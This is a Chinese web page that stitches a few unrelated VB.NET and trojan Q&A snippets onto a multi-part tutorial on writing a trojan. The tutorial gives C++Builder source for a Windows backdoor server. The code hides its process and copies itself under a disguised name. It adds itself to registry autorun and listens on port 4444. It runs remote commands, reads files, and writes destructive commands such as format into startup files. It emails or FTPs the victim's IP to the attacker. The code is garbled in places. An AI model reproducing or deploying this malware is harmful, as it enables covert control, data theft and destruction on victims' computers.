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vb點虐 木馬編寫 木馬程序編寫

VB.NET下如何進行遠程線程注入

首先來了解遠程線程注入遠程線程插入(注入)技術指的是通過在另一個進程中創建遠程線程的方法進入目標進程的內存地址空間。將木馬程序以DLL的形式實現后,需要使用插入到目標進程中的遠程線程將該木馬DLL插入到目標進程的地址空間,即利用該線程通過調用Windows API LoadLibrary函數來加載木馬DLL,從而實現木馬對系統的侵害。 這種技術一般用于外掛 當外掛注入到游戲中時 你的電腦也就中啦木馬 一般的解決方法 wmiprvse.exe是一個系統服務的進程,你可以結束任務,進程自然消失。 禁用Windows Management Instrumentation Driver Extensions服務或者改為手動 具體:桌面-我的電腦-管理-服務和應用程序-服務 里面有個Windows Management Instrumentation 右鍵—禁用就可以了. 我也用過,感覺第二種方法較好。 解除命令方法:同樣操作復制下邊的命[1][2][3]令粘貼輸入,回車確定。即可、 reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiprvse.exe” /f希望會幫到你

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用VB.NET編寫的軟件的科學性與先進性?

這個題目官僚味道十足,專門寫給領導看的吧……

從大的方面來說,語言是次要的,要達到某種功能可以用很多種語言來實現。

從小的方面來說,VB(包括點虐 )有其優點(上手快,出東西快等),缺點也很明顯(控制不到底層等)。談不上什么先進性。

另外,你的語法似乎也有問題。你是說用VB.NET寫出來的軟件嗎?那花樣多了去了,寫個木馬病毒什么的絕對不成問題。

如何編寫木馬

木馬是如何編寫的(一)

特洛依木馬這個名詞大家應該不陌生,自從98年“死牛崇拜”黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷,使在Dos??Windows時代中長大的中國網民從五彩繽紛的網絡之夢中驚醒,終于認識到的網絡也有它邪惡的一面,一時間人心惶惶。

我那時在《電腦報》上看到一篇文章,大意是一個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網,到處求救!呵呵,要知道,木馬(Trojan)的歷史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的權限。那時木馬的主要方法是誘騙??先修改你的.profile文件,植入木馬;當你登陸時將你敲入的口令字符存入一個文件,用Email的形式發到攻擊者的郵箱里。國內的年輕人大都是在盜版Dos的熏陶下長大的,對網絡可以說很陌生。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網絡事業的發展的時候,BO這個用三年后的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的“關閉程序”對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網絡安全方面可以說是一個劃時代的軟件。

自己編寫木馬,聽起來很Cool是不是?!木馬一定是由兩部分組成??服務器程序(Server)和客戶端程序(Client),服務器負責打開攻擊的道路,就像一個內奸特務;客戶端負責攻擊目標,兩者需要一定的網絡協議來進行通訊(一般是TCP/IP協議)。為了讓大家更好的了解木馬攻擊技術,破除木馬的神秘感,我就來粗略講一講編寫木馬的技術并順便編寫一個例子木馬,使大家能更好地防范和查殺各種已知和未知的木馬。

首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如“死牛崇拜”黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態鏈接庫??Msvbvm60.dll嗎?

啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控件:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個服務器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,后來微軟將它引入了Windows中(包括Win98和WinNt);后兩個控件的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟件具有上傳下載功能和發郵件功能的控件。

Form窗體是可視的,這當然是不可思議的。不光占去了大量的空間(光一個Form就有300K之大),而且使軟件可見,根本沒什么作用。因此實際寫木馬時可以用一些技巧使程序不包含Form,就像Delphi用過程實現的小程序一般只有17K左右那樣。

我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的“關閉程序”對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的后臺進程,它可以運行在較高的優先級下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程數據庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那么我們只好自己來聲明這個位于KERNEL32.DLL中的鳥函數了。

首先判斷目標機的操作系統是Win9x還是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系統的版本號

if (dwVersion = 0x80000000)

// 操作系統是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定義RegisterServiceProcess()函數的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函數的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://執行RegisterServiceProcess()函數,隱藏本進程

FreeLibrary(hDLL);

file://卸載動態鏈接庫

}

}

這樣就終于可以隱身了(害我敲了這么多代碼!)。為什么要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到后面再講)。接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,并修改注冊表,以便啟動時自動加載:

{

char TempPath[MAX_PATH];

file://定義一個變量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成為能供編譯器使用的樣式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://將自己拷貝到%System%目錄下,并改名為Tapi32.exe,偽裝起來

Registry=new TRegistry;

file://定義一個TRegistry對象,準備修改注冊表,這一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://設置主鍵為HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之

try

{

file://如果以下語句發生異常,跳至catch,以避免程序崩潰

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字樣的鍵值,并且是否為拷貝的目錄%System%+Tapi32.exe

file://如果不是,就寫入以上鍵值和內容

}

catch(...)

{

file://如果有錯誤,什么也不做

}

}

好,FormCreate過程完成了,這樣每次啟動都可以自動加載Tapi32.exe,并且在“關閉程序”對話框中看不見本進程了,木馬的雛形初現。

接著選中ServerSocket控件,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定端口,處于服務器工作狀態。再將Port填入4444,這是木馬的端口號,當然你也可以用別的。但是你要注意不要用1024以下的低端端口,因為這樣不但可能會與基本網絡協議使用的端口相沖突,而且很容易被發覺,因此盡量使用1024以上的高端端口(不過也有這樣一種技術,它故意使用特定端口,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控件使用的端口,是21號端口,這是FTP協議的專用控制端口(FTP Control Port);同理TNMSMTP的25號端口也是SMTP協議的專用端口。

再選中ServerSocket控件,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定義了一堆待會兒要用到的變量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一個文本文件Win369.bat,作為臨時文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客戶端(攻擊者,也就是你自己)傳來的數據

}

好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9個字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的長度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://將第11個字符轉換成integer型,存入file_name變量

file://為什么要取第11個字符,因為第10個字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串將被作為寫入的內容寫入目標文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://將兩個目標文件的屬性改為可讀可寫

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11個字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11個字符是1,就把Config.sys格式化

times_of_try=0;

file://定義計數器

while(fp==NULL)

{

file://如果指針是空

fp=fopen(filename,"a+");

file://如果文件不存在,創建之;如果存在,準備在其后添加

file://如果出錯,文件指針為空,這樣就會重復

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try100)

{

file://如果已經試了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就發回“Fail By Open File”的錯誤信息

goto END;

file://跳至END處

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!

fclose(fp);

file://寫完后關閉目標文件

Socket-SendText("Sucess");

file://然后發回“Success”的成功信息

}

}

上回我們講到如何修改目標機上的啟動配置文件,這回我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用“dir”命令,跟著敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3個字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的長度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://從字符串第六個字符開始,將后面的字符存入Dir_Name變量,這是目錄名

if(Dir_Name=="")

{

file://如果目錄名為空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打開目錄出錯

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指針是NULL

fp=fopen(TempFile,"w+");

file://就創建system\Win369.bat準備讀和寫;如果此文件已存在,則會被覆蓋

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try100)

{

file://如果已經試了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就發回“Fail By Open File”的錯誤信息

goto END;

file://并跳到END處

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果訪問目標目錄成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一個字符不是“\”,證明不是根目錄

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后將指針指向目錄流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目錄,則不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目標文件的訪問屬性

if (attrib FA_RDONLY)

file://“”字符是比較前后兩個變量,如果相同返回1,否則返回0

fwrite(" R",sizeof(char),3,fp);

file://將目標文件屬性設為只讀

else

fwrite(" ",sizeof(char),3,fp);

file://失敗則寫入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://將目標文件屬性設為隱藏

else

fwrite(" ",sizeof(char),1,fp);

file://失敗則寫入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://將目標文件屬性設為系統

else

fwrite(" ",sizeof(char),1,fp);

file://失敗則寫入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://將目標文件屬性設為普通

else

fwrite(" ",sizeof(char),1,fp);

file://失敗則寫入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://將目標文件屬性設為目錄

else

fwrite(" ",sizeof(char),9,fp);

file://失敗則寫入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://將目錄名寫入目標文件

fwrite(CR_LF,1,1,fp);

file://寫入換行

}

fclose(fp);

file://關閉文件

closedir(dir);

file://關閉目錄

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打開Win369.bat準備讀

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try100)

{

file://如果已經試了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就發回“Fail By Open File”的錯誤信息

goto END;

file://并跳到END處

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定義的一個空數組

Read_Num=fread(temp_content,1,300,fp1);

file://從目標文件中讀入前300個字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

變量加上剛才的300個字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重復

};

Return_Text=Return_Text+temp_content;

變量加上剛才的300個字符

fclose(fp1);

file://關閉目標文件

Socket-SendText(Return_Text);

file://返回Return_Text變量的內容

}

}

夠長吧?!察看目錄樹這么費勁啊?!你后面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了,Client將使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4個字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://將目標文件流存入File_Name變量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打開目標文件準備讀

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try100)

{

file://如果已試了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的錯誤信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定義一個空數組

Read_Num=fread(temp_content,1,300,fp);

file://從目標文件中讀入前300個字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的內容加上剛才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重復

};

Return_Text=Return_Text+temp_content;

的內容加上剛才的字符

fclose(fp);

file://關閉目標文件

Socket-SendText(Return_Text);

file://返回Return_Text的內容,即你查看文件的內容

}

}

咳咳!累死了!還是來點輕松的吧??操縱目標機的光驅(注意:mciSendString()函數的聲明在mmsystem.h頭文件中):

{

else if(temp=="open")

{

file://如果收到的temp的內容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就彈出光驅的托盤

}

else if(temp=="close")

{

file://如果收到的temp的內容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驅的托盤。當然你也可以搞個死循環,讓他的光驅好好活動活動!^_^

}

}

接著就是交換目標機的鼠標左右鍵,代碼如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交換鼠標左右鍵,簡單吧?

}

}

然后就是使目標機重新啟動。但這里要區分WinNt和Win9x??NT非常注重系統每個進程的權利,一個普通的進程是不應具備有調用系統的權利的,因此我們要賦予本程序足夠的權限:

{

else if(temp=="reboot")

{

file://如果收到的temp的內容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系統的版本號

if (dwVersion 0x80000000)

{

file://操作系統是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定義變量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

這個函數的作用是打開一個進程的訪問令牌

函數的作用是得到本進程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改進程的權限

tkp.PrivilegeCount = 1;

file://賦給本進程特權

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本進程的權利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://強行退出WinNt并重啟

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://強行退出Win9x并重啟

}

}

如果以上都不是,就讓它在Dos窗口中執行傳來的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://創建Win369.bat,如果已存在就覆蓋

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://寫入欲執行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://寫入換行符

fclose(fp);

file://關閉Win369.bat

system(TempFile);

file://執行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接執行什么Ping和Tracert之類的命令來進一步刺探目標機的網絡狀況(判斷是否是一個企業的局域網),然后可以進一步攻擊,比如Deltree和Format命令。^_^

到此,服務器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程序因意外而崩潰。朋友,別走開!(未完待續)

木馬是如何編寫的(三)

武漢 周侃

上次已編寫完服務器端的各種功能,但還差容錯部分還未完成,下面我們Go on! 其代碼如下(照敲不誤 ^_^):

{

END:;

Socket-Close();

file://關閉服務

ServerSocket1-Active =true;

file://再次打開服務

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服務器已連接則斷開

NMSMTP1-Host = "smtp.163點虐 ";

file://選一個好用的SMTP服務器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次連接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848點虐 ";

file://將信發到我的郵箱,這一步很關鍵

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的內容提示你“服務器正在運行”,并且告訴你受害者的目前的IP地址,以便連接

NMSMTP1-PostMessage-Subject = "Server Running Now!";

file://信的主題

NMSMTP1-SendMail();

file://發送!

return;

file://返回

NextTime:

NMFTP1-Host = "";

file://你的FTP服務器的地址

NMFTP1-UserID = "";

file://你的用戶ID

NMFTP1-Port = 21;

端口號,一般為21

NMFTP1-Password = "";

file://你的FTP的密碼

if(NMFTP1-Connected) NMFTP1-Disconnect();

file://如果已連接就斷開

try

{

NMFTP1-Connect();

file://再連接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");

file://創建一個新文件準備寫,如果已存在就覆蓋

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://寫入以上的SendToSite的內容

fclose(Upload);

file://寫完后關閉此文件

NMFTP1-RemoveDir("public_html");

file://刪除public_html目錄

NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);

file://上傳!

}

啊,超長的OnClientRead事件終于寫完了。最后別忘了要在此服務器源碼文件中添加以下頭文件:

#include stdlib.h

#include dirent.h

#include fcntl.h

#include dos.h

#include sys\stat.h

#include winbase.h

#include stdio.h

#include process.h

#include io.h

#include mmsystem.h

至此,服務器端(Server)程序

文章標題:vb點虐 木馬編寫 木馬程序編寫
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